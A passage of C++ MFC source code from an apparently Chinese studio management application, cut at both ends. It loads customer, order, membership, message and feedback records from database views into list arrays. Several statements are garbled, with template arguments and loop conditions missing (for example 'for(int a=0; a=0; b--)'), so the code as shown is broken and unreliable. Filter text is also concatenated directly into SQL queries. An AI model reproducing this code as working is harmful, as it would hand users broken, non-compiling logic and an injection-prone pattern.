(ii).Add(rsSt.pregnancydays) ; g_List1array.ElementAt (ii).Add(rsSt.qq) ; g_List1array.ElementAt (ii).Add(rsSt.date1) ; g_List1array.ElementAt (ii).Add(rsSt.from) ; g_List1array.ElementAt (ii).Add(rsSt.clerk) ; g_List1array.ElementAt (ii).Add(rsSt.type) ; g_List1array.ElementAt (ii).Add(rsSt.hospital) ; g_List1array.ElementAt (ii).Add(rsSt.phone1) ; g_List1array.ElementAt (ii).Add(rsSt.phone2) ; g_List1array.ElementAt (ii).Add(rsSt.phone3) ; g_List1array.ElementAt (ii).Add(rsSt.phone4) ; g_List1array.ElementAt (ii).Add(rsSt.phone5) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; #ifdef LYFZ_VERSION case 209://clientserviceview { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from clientserviceview";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstclientserviceview rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.dindanid) ; g_List1array.ElementAt (ii).Add(rsSt.name1) ; g_List1array.ElementAt (ii).Add(rsSt.name2) ; g_List1array.ElementAt (ii).Add(rsSt.phone1) ; g_List1array.ElementAt (ii).Add(rsSt.addr1) ; g_List1array.ElementAt (ii).Add(rsSt.qq1) ; g_List1array.ElementAt (ii).Add(rsSt.txtype) ; g_List1array.ElementAt (ii).Add(rsSt.ren) ; ///////// g_List1array.ElementAt (ii).Add(rsSt.checkcontent) ; g_List1array.ElementAt (ii).Add(rsSt.clerk) ; g_List1array.ElementAt (ii).Add(rsSt.useqq) ; g_List1array.ElementAt (ii).Add(rsSt.date) ; g_List1array.ElementAt (ii).Add(rsSt.from) ; g_List1array.ElementAt (ii).Add(rsSt.clientqq) ; g_List1array.ElementAt (ii).Add(rsSt.contact) ; g_List1array.ElementAt (ii).Add(rsSt.time) ; g_List1array.ElementAt (ii).Add(rsSt.question) ; g_List1array.ElementAt (ii).Add(rsSt.solution) ; g_List1array.ElementAt (ii).Add(rsSt.result) ; g_List1array.ElementAt (ii).Add(rsSt.autoid) ; ////////// g_List1array.ElementAt (ii).Add(rsSt.pinyin1) ; g_List1array.ElementAt (ii).Add(rsSt.pinyin2) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); if(g_List1array.GetSize ()) { CString id=g_List1array.ElementAt (0).ElementAt (0); for(ii=1; iim_List1array; { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from msgcode"; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); m_List1array.SetSize(count , 1 ); CRstmsgcode rsSt; rsSt.m_pDatabase=m_pConndb; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { m_List1array.ElementAt (ii).RemoveAll (); m_List1array.ElementAt (ii).Add(rsSt.type) ; m_List1array.ElementAt (ii).Add(rsSt.code) ; m_List1array.ElementAt (ii).Add(rsSt.good) ; m_List1array.ElementAt (ii).Add(rsSt.medium) ; m_List1array.ElementAt (ii).Add(rsSt.bad) ; ii++; rsSt.MoveNext();if(m_List1array.GetSize ()<=ii)break; } rsSt.Close();m_List1array.SetSize(ii , 1 ); } if(m_List1array.GetSize()!=7)break; CString temp; filter=""; for(int a=0; a<7; a++) { if(m_List1array.ElementAt(a).ElementAt(2)!="") { temp="or [content] like '%"+m_List1array.ElementAt(a).ElementAt(1)+m_List1array.ElementAt(a).ElementAt(2)+"%' "; filter+=temp; } if(m_List1array.ElementAt(a).ElementAt(3)!="") { temp="or [content] like '%"+m_List1array.ElementAt(a).ElementAt(1)+m_List1array.ElementAt(a).ElementAt(3)+"%' "; filter+=temp; } if(m_List1array.ElementAt(a).ElementAt(4)!="") { temp="or [content] like '%"+m_List1array.ElementAt(a).ElementAt(1)+m_List1array.ElementAt(a).ElementAt(4)+"%' "; filter+=temp; } } if(filter!="") { if(filter.Left(2)=="or")filter.Delete (0, 3); } filter.MakeUpper(); CString m_code1; CString m_code2; CString m_code3; CString m_code4; CString m_code5; CString m_code6; CString m_code7; CString m_good1; CString m_good2; CString m_good3; CString m_good4; CString m_good5; CString m_good6; CString m_good7; CString m_medium1; CString m_medium2; CString m_medium3; CString m_medium4; CString m_medium5; CString m_medium6; CString m_medium7; CString m_bad1; CString m_bad2; CString m_bad3; CString m_bad4; CString m_bad5; CString m_bad6; CString m_bad7; m_code1 = m_List1array.ElementAt(0).ElementAt(1); m_good1 = m_List1array.ElementAt(0).ElementAt(2); m_medium1 = m_List1array.ElementAt(0).ElementAt(3); m_bad1 = m_List1array.ElementAt(0).ElementAt(4); m_code2 = m_List1array.ElementAt(1).ElementAt(1); m_good2 = m_List1array.ElementAt(1).ElementAt(2); m_medium2 = m_List1array.ElementAt(1).ElementAt(3); m_bad2 = m_List1array.ElementAt(1).ElementAt(4); m_code3 = m_List1array.ElementAt(2).ElementAt(1); m_good3 = m_List1array.ElementAt(2).ElementAt(2); m_medium3 = m_List1array.ElementAt(2).ElementAt(3); m_bad3 = m_List1array.ElementAt(2).ElementAt(4); m_code4 = m_List1array.ElementAt(3).ElementAt(1); m_good4 = m_List1array.ElementAt(3).ElementAt(2); m_medium4 = m_List1array.ElementAt(3).ElementAt(3); m_bad4 = m_List1array.ElementAt(3).ElementAt(4); m_code5 = m_List1array.ElementAt(4).ElementAt(1); m_good5 = m_List1array.ElementAt(4).ElementAt(2); m_medium5 = m_List1array.ElementAt(4).ElementAt(3); m_bad5 = m_List1array.ElementAt(4).ElementAt(4); m_code6 = m_List1array.ElementAt(5).ElementAt(1); m_good6 = m_List1array.ElementAt(5).ElementAt(2); m_medium6 = m_List1array.ElementAt(5).ElementAt(3); m_bad6 = m_List1array.ElementAt(5).ElementAt(4); m_code7 = m_List1array.ElementAt(6).ElementAt(1); m_good7 = m_List1array.ElementAt(6).ElementAt(2); m_medium7 = m_List1array.ElementAt(6).ElementAt(3); m_bad7 = m_List1array.ElementAt(6).ElementAt(4); CRecordset myset(m_pConndb); CString sql="select count(*) as cot from [msgview]";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstmsgview rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; CString name; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); name=rsSt.name1+","+rsSt.name2;name.TrimLeft (","); g_List1array.ElementAt (ii).Add(name) ; g_List1array.ElementAt (ii).Add(rsSt.phones ) ; g_List1array.ElementAt (ii).Add(rsSt.content ) ; g_List1array.ElementAt (ii).Add(rsSt.timestamp ) ; name=""; if(rsSt.content.Find(m_code1+m_good1)!=-1) name+="接待满意;"; if(rsSt.content.Find(m_code1+m_medium1)!=-1) name+="接待一般;"; if(rsSt.content.Find(m_code1+m_bad1)!=-1) name+="接待不满意;"; if(rsSt.content.Find(m_code2+m_good2)!=-1) name+="化妆满意;"; if(rsSt.content.Find(m_code2+m_medium2)!=-1) name+="化妆一般;"; if(rsSt.content.Find(m_code2+m_bad2)!=-1) name+="化妆不满意;"; if(rsSt.content.Find(m_code3+m_good3)!=-1) name+="摄影满意;"; if(rsSt.content.Find(m_code3+m_medium3)!=-1) name+="摄影一般;"; if(rsSt.content.Find(m_code3+m_bad3)!=-1) name+="摄影不满意;"; if(rsSt.content.Find(m_code4+m_good4)!=-1) name+="数码满意;"; if(rsSt.content.Find(m_code4+m_medium4)!=-1) name+="数码一般;"; if(rsSt.content.Find(m_code4+m_bad4)!=-1) name+="数码不满意;"; if(rsSt.content.Find(m_code5+m_good5)!=-1) name+="选片满意;"; if(rsSt.content.Find(m_code5+m_medium5)!=-1) name+="选片一般;"; if(rsSt.content.Find(m_code5+m_bad5)!=-1) name+="选片不满意;"; if(rsSt.content.Find(m_code6+m_good6)!=-1) name+="进度满意;"; if(rsSt.content.Find(m_code6+m_medium6)!=-1) name+="进度一般;"; if(rsSt.content.Find(m_code6+m_bad6)!=-1) name+="进度不满意;"; if(rsSt.content.Find(m_code7+m_good7)!=-1) name+="产品满意;"; if(rsSt.content.Find(m_code7+m_medium7)!=-1) name+="产品一般;"; if(rsSt.content.Find(m_code7+m_bad7)!=-1) name+="产品不满意;"; g_List1array.ElementAt (ii).Add(name ) ; g_List1array.ElementAt (ii).Add(rsSt.time1 ) ; g_List1array.ElementAt (ii).Add(rsSt.ren ) ; //6 g_List1array.ElementAt (ii).Add(rsSt.waiter1 ) ; g_List1array.ElementAt (ii).Add(rsSt.waiter2 ) ; g_List1array.ElementAt (ii).Add(rsSt.waiter3 ) ; g_List1array.ElementAt (ii).Add(rsSt.waiter4 ) ; g_List1array.ElementAt (ii).Add(rsSt.waiter5 ) ; g_List1array.ElementAt (ii).Add(rsSt.waiter7 ) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 215://hospital { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from clientqequirement";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstclientqequirement rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.m_name) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 216: { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from memberview"; if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); g_List1array.SetSize(atol(sql) , 1 ); memberviewReg rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); DWORD ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.m_id) ; g_List1array.ElementAt (ii).Add(rsSt.m_memberno) ; g_List1array.ElementAt (ii).Add(rsSt.m_name) ; g_List1array.ElementAt (ii).Add(rsSt.m_money) ; g_List1array.ElementAt (ii).Add(rsSt.m_date) ; g_List1array.ElementAt (ii).Add(rsSt.m_clerk) ; g_List1array.ElementAt (ii).Add(rsSt.m_financecheck) ; g_List1array.ElementAt (ii).Add(rsSt.m_moneytype) ; g_List1array.ElementAt (ii).Add(rsSt.m_time) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; #ifdef LKAY_VERSION case 217:// { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from dindanlkay";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstDindanFormLKAY rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.id) ; g_List1array.ElementAt (ii).Add(rsSt.name1) ; g_List1array.ElementAt (ii).Add(rsSt.name2) ; g_List1array.ElementAt (ii).Add(rsSt.sex) ; g_List1array.ElementAt (ii).Add(rsSt.birthday1) ; if(rsSt.check1=="1" && rsSt.birthday1!="") g_List1array.ElementAt (ii).Add("农历") ; else if(rsSt.birthday1!="") g_List1array.ElementAt (ii).Add("公历") ; else g_List1array.ElementAt (ii).Add("") ; g_List1array.ElementAt (ii).Add(rsSt.txtype) ; g_List1array.ElementAt (ii).Add(rsSt.discount) ; // g_List1array.ElementAt (ii).Add(rsSt.authorize) ; // g_List1array.ElementAt (ii).Add(rsSt.discount2) ; // g_List1array.ElementAt (ii).Add(rsSt.authorize2) ; g_List1array.ElementAt (ii).Add(rsSt.status) ; g_List1array.ElementAt (ii).Add(rsSt.status4) ; g_List1array.ElementAt (ii).Add(rsSt.status2) ; g_List1array.ElementAt (ii).Add(rsSt.status6) ; g_List1array.ElementAt (ii).Add(rsSt.status5) ; g_List1array.ElementAt (ii).Add(rsSt.status8) ; g_List1array.ElementAt (ii).Add(rsSt.status3) ; g_List1array.ElementAt (ii).Add(rsSt.time1) ; g_List1array.ElementAt (ii).Add(rsSt.time2) ; g_List1array.ElementAt (ii).Add(rsSt.time4) ; g_List1array.ElementAt (ii).Add(rsSt.time6) ; g_List1array.ElementAt (ii).Add(rsSt.time5) ; g_List1array.ElementAt (ii).Add(rsSt.ren) ; g_List1array.ElementAt (ii).Add(rsSt.taoxiname) ; g_List1array.ElementAt (ii).Add(rsSt.taoxijiage) ; g_List1array.ElementAt (ii).Add(rsSt.waiter1) ; g_List1array.ElementAt (ii).Add(rsSt.waiter2) ; g_List1array.ElementAt (ii).Add(rsSt.waiter5) ; g_List1array.ElementAt (ii).Add(rsSt.waiter3) ; g_List1array.ElementAt (ii).Add(rsSt.waiter7) ; g_List1array.ElementAt (ii).Add(rsSt.waiter4) ; g_List1array.ElementAt (ii).Add(rsSt.waiter8) ; g_List1array.ElementAt (ii).Add(rsSt.waiter6) ; g_List1array.ElementAt (ii).Add(rsSt.phone1) ; g_List1array.ElementAt (ii).Add(rsSt.phone2) ; g_List1array.ElementAt (ii).Add(rsSt.contractno1) ; g_List1array.ElementAt (ii).Add(rsSt.contractno2) ; g_List1array.ElementAt (ii).Add(rsSt.pinyin1) ; g_List1array.ElementAt (ii).Add(rsSt.pinyin2) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; #else case 217:// { g_List1array.RemoveAll (); CArraydbarraytemp; dbarraytemp.Copy(dbarray); dbarraytemp.InsertAt(0, &g_db); for(int a=dbarraytemp.GetSize ()-1; a>=0; a--) { m_pConndb=dbarraytemp.ElementAt (a); CRecordset myset(m_pConndb); CString sql="select count(*) as cot from dindan";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); sql.Format ("%d", a-1); // if(a==0)sql="-1"; int oldsize=g_List1array.GetSize (); g_List1array.SetSize(oldsize+count , 1 ); CRstDindanForm rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.m_strSort="id"; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (oldsize+ii).RemoveAll (); g_List1array.ElementAt (oldsize+ii).Add(rsSt.id) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.name1) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.name2) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.txtype) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.discount) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.authorize) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.discount2) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.authorize2) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.status) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.status4) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.status2) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.status6) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.status5) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.status8) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.status3) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.time1) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.time2) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.time4) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.time6) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.time5) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.ren) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.taoxiname) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.taoxijiage) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.waiter1) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.waiter2) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.waiter5) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.waiter3) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.waiter7) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.waiter4) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.waiter8) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.waiter6) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.phone1) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.phone2) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.pinyin1) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.pinyin2) ; g_List1array.ElementAt (oldsize+ii).Add(sql) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=(oldsize+ii))break; } rsSt.Close();g_List1array.SetSize(oldsize+ii , 1 ); } } break; #endif case 218:// { #ifdef CHILD_VERSION g_List1array.RemoveAll (); CArraydbarraytemp; dbarraytemp.Copy(dbarray); dbarraytemp.InsertAt(0, &g_db); for(int a=dbarraytemp.GetSize ()-1; a>=0; a--) { m_pConndb=dbarraytemp.ElementAt (a); CRecordset myset(m_pConndb); CString sql="select count(*) as cot from client";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); sql.Format ("%d", dbarraytemp.GetSize ()-1-a); if(a==0)sql="-1"; int oldsize=g_List1array.GetSize (); g_List1array.SetSize(oldsize+count , 1 ); CRstClient2 rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.m_strSort="id"; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (oldsize+ii).RemoveAll (); g_List1array.ElementAt (oldsize+ii).Add(rsSt.id) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.name1) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.name2) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.phone1) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.phone2) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.qq1) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.addr1) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.birthday1) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.area) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.sex) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.zodiac) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.check1) ; g_List1array.ElementAt (oldsize+ii).Add(sql) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=(oldsize+ii))break; } rsSt.Close();g_List1array.SetSize(oldsize+ii , 1 ); } #else g_List1array.RemoveAll (); CArraydbarraytemp; dbarraytemp.Copy(dbarray); dbarraytemp.InsertAt(0, &g_db); for(int a=dbarraytemp.GetSize ()-1; a>=0; a--) { m_pConndb=dbarraytemp.ElementAt (a); CRecordset myset(m_pConndb); CString sql="select count(*) as cot from client";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); sql.Format ("%d", dbarraytemp.GetSize ()-1-a); if(a==0)sql="-1"; int oldsize=g_List1array.GetSize (); g_List1array.SetSize(oldsize+count , 1 ); CRstClient rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.m_strSort="id"; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (oldsize+ii).RemoveAll (); g_List1array.ElementAt (oldsize+ii).Add(rsSt.id) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.name1) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.name2) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.phone1) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.phone2) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.qq1) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.qq2) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.addr1) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.addr2) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.occupation1) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.occupation2) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.birthday1) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.birthday2) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.area) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.area2) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.check1) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.check2) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.check3) ; g_List1array.ElementAt (oldsize+ii).Add(rsSt.time3) ; g_List1array.ElementAt (oldsize+ii).Add(sql) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=(oldsize+ii))break; } rsSt.Close();g_List1array.SetSize(oldsize+ii , 1 ); } #endif } break; case 219: { filter.Replace ("返", "返工%"); CRecordset myset(m_pConndb); CString sql="select count(*) as cot from qjview"; if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); // AfxMessageBox(filter); g_List1array.SetSize(atol(sql) , 1 ); qjviewReg rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); DWORD ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.id) ; g_List1array.ElementAt (ii).Add(rsSt.name1) ; g_List1array.ElementAt (ii).Add(rsSt.name2) ; g_List1array.ElementAt (ii).Add(rsSt.name) ; g_List1array.ElementAt (ii).Add(rsSt.shuliang) ; g_List1array.ElementAt (ii).Add(rsSt.status3) ; g_List1array.ElementAt (ii).Add(rsSt.status4) ; g_List1array.ElementAt (ii).Add(rsSt.date2) ; g_List1array.ElementAt (ii).Add(rsSt.status1) ; g_List1array.ElementAt (ii).Add(rsSt.date3) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 220://dindan { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from insidemsg";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRstinsidemsg rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.sender) ; g_List1array.ElementAt (ii).Add(rsSt.content) ; g_List1array.ElementAt (ii).Add(rsSt.file) ; g_List1array.ElementAt (ii).Add(rsSt.timestamp) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 221://todaytake { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from todaytake";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); CRsttodaytake rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.name) ; g_List1array.ElementAt (ii).Add(rsSt.phone) ; g_List1array.ElementAt (ii).Add(rsSt.time) ; g_List1array.ElementAt (ii).Add(rsSt.content) ; g_List1array.ElementAt (ii).Add(rsSt.price) ; g_List1array.ElementAt (ii).Add(rsSt.waiter1) ; g_List1array.ElementAt (ii).Add(rsSt.waiter2) ; g_List1array.ElementAt (ii).Add(rsSt.receptionist) ; g_List1array.ElementAt (ii).Add(rsSt.arrearage) ; g_List1array.ElementAt (ii).Add(rsSt.remark) ; g_List1array.ElementAt (ii).Add(rsSt.clerk) ; g_List1array.ElementAt (ii).Add(rsSt.arrive) ; g_List1array.ElementAt (ii).Add(rsSt.date) ; g_List1array.ElementAt (ii).Add(rsSt.timestamp) ; g_List1array.ElementAt (ii).Add(rsSt.id) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); } break; case 222://todaytake { CRecordset myset(m_pConndb); CString sql="select count(*) as cot from dressview";if(!filter.IsEmpty ())sql+=" where "+filter; myset.Open (CRecordset::forwardOnly, sql); myset.GetFieldValue ("cot", sql); myset.Close(); int count=atol(sql); g_List1array.SetSize(count , 1 ); RstDressView rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { g_List1array.ElementAt (ii).RemoveAll (); g_List1array.ElementAt (ii).Add(rsSt.no) ; g_List1array.ElementAt (ii).Add(rsSt.name) ; g_List1array.ElementAt (ii).Add(rsSt.count) ; g_List1array.ElementAt (ii).Add(rsSt.salecount) ; g_List1array.ElementAt (ii).Add(rsSt.clientname) ; g_List1array.ElementAt (ii).Add(rsSt.phone) ; g_List1array.ElementAt (ii).Add(rsSt.count2) ; g_List1array.ElementAt (ii).Add(rsSt.date1) ; g_List1array.ElementAt (ii).Add(rsSt.date2) ; g_List1array.ElementAt (ii).Add(rsSt.clerk) ; g_List1array.ElementAt (ii).Add(rsSt.date) ; ii++; rsSt.MoveNext();if(g_List1array.GetSize ()<=ii)break; } rsSt.Close();g_List1array.SetSize(ii , 1 ); if(g_List1array.GetSize ()) { CString id=g_List1array.ElementAt (0).ElementAt (0); for(ii=1; iitemparray; temparray.SetSize(count , 1 ); CRstDinDanSPView2 rsSt; rsSt.m_pDatabase=m_pConndb;if(!filter.IsEmpty ())rsSt.m_strFilter =filter; rsSt.Open(); ii=0; while(!rsSt.IsEOF()) { temparray.ElementAt (ii).RemoveAll (); temparray.ElementAt (ii).Add(rsSt.id) ; temparray.ElementAt (ii).Add(rsSt.spid) ; temparray.ElementAt (ii).Add(rsSt.price) ; temparray.ElementAt (ii).Add(rsSt.shuliang) ; temparray.ElementAt (ii).Add(rsSt.kind) ; temparray.ElementAt (ii).Add(rsSt.name) ; temparray.ElementAt (ii).Add(rsSt.no) ; temparray.ElementAt (ii).Add(rsSt.autoid) ; temparray.ElementAt (ii).Add(rsSt.no2) ; #ifdef LKAY_VERSION temparray.ElementAt (ii).Add(rsSt.ps) ; temparray.ElementAt (ii).Add(rsSt.zs) ; #endif temparray.ElementAt (ii).Add(rsSt.splb) ; ii++; rsSt.MoveNext();if(temparray.GetSize ()<=ii)break; } rsSt.Close();temparray.SetSize(ii , 1 ); g_List1array.SetSize(temparray.GetSize(), 1); int curpos=0; for(int a=0; a=0; b--) { #ifdef LKAY_VERSION if(splbarray.ElementAt(a)==temparray.ElementAt(b).ElementAt(11)) #else if(splbarray.ElementAt(a)==temparray.ElementAt(b).ElementAt(9)) #endif { g_List1array.ElementAt (curpos).RemoveAll (); g_List1array.ElementAt (curpos).Copy(temparray.ElementAt (b));curpos++; temparray.RemoveAt(b); } } } for(int b=temparray.GetSize()-1; b>=0; b--) { g_List1array.ElementAt (curpos).RemoveAll (); g_List1array.ElementAt (curpos).Copy(temparray.ElementAt (b));curpos++; } } break; case 224://outsourcing发片 /* { CStringArray array[8]; CRecordset myset(m_pConndb); CString sql; sql.Format("SELECT * FROM [dindanspview3] where name<>'入册' and name<>'入底' and %s \ UNION select * FROM [dindanspview4] where %s order by id", filter, filter); sql.Format("SELECT * FROM [dindanspview3] where name<>'入册' and name<>'入底' and %s \ order by id", filter); myset.Open (CRecordset::forwardOnly, sql); while(!myset.IsEOF()) { for(int i=0; i<8; i++) { myset.GetFieldValue (i, sql); array[i].Add(sql); } myset.MoveNext(); } myset.Close(); AfxMessageBox("1"); sql.Format("SELECT * FROM [dindanspview4] where %s \ order by id", filter); myset.Open (CRecordset::forwardOnly, sql); while(!myset.IsEOF()) { for(int i=0; i<8; i++) { myset.GetFieldValue (i, sql); array[i].Add(sql); } myset.MoveNext(); } myset.Close(); AfxMessageBox("2");return; int count=array[0].GetSize(); g_List1array.SetSize(count , 1 ); if(g_List1array.GetSize ()) { 